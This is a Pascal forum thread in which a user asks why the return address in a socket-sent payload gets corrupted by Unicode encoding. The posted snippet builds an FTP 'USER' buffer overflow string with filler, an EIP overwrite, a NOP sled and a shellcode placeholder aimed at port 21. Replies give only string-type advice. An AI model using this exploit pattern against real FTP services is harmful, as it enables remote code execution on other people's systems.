Forum > Linux

send hexadecimal values through tcp

(1/2) > >>

opendelphi:
Hey guys i am trying to write a snippets on pascal string to send specific shellcode into specific application port , but i think while sending that EIP is written with unicode character that's not should be "C2" means "?" , so what i want is to send this with correct values :

--- Code: Pascal  [+][-]window.onload = function(){var x1 = document.getElementById("main_content_section"); if (x1) { var x = document.getElementsByClassName("geshi");for (var i = 0; i < x.length; i++) { x[i].style.maxHeight='none'; x[i].style.height = Math.min(x[i].clientHeight+15,306)+'px'; x[i].style.resize = "vertical";}};} ---       tcp_connect('192.168.81.139',21);     c:=stringofchar(#$43,637);        nops := #$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90;      p:= #$53#$93#$42#$7E;      fuzz := stringofchar('A',230);     overflow := fuzz +p+nops +shellcode + c;      s := 'USER '+overflow;      tcp_sendmessage(s);   
on debugger backend the EIP should be 5393427E , but actually it becomes 5393C242

thanks

lucamar:
Either define all your strings as RawByteString or use don't strings at all (replace them with array of Char).

engkin:
Why is this posted in Lazarus » Forum » Installation » Linux ?

engkin:
What code page are you using?
What type of string are you using?
Lazarus or FPC alone? what version?
Any sample project instead of a few lines of code?

Linux, right?

opendelphi:

--- Quote from: lucamar on March 04, 2019, 09:33:48 pm ---Either define all your strings as RawByteString or use don't strings at all (replace them with array of Char).

--- End quote ---

rawbytestring is not supported by Pascal Script , i tried array of char but maybe i have used on wrong way , do u have a snippet about using it on correct way

Navigation

[0] Message Index

[#] Next page

Go to full version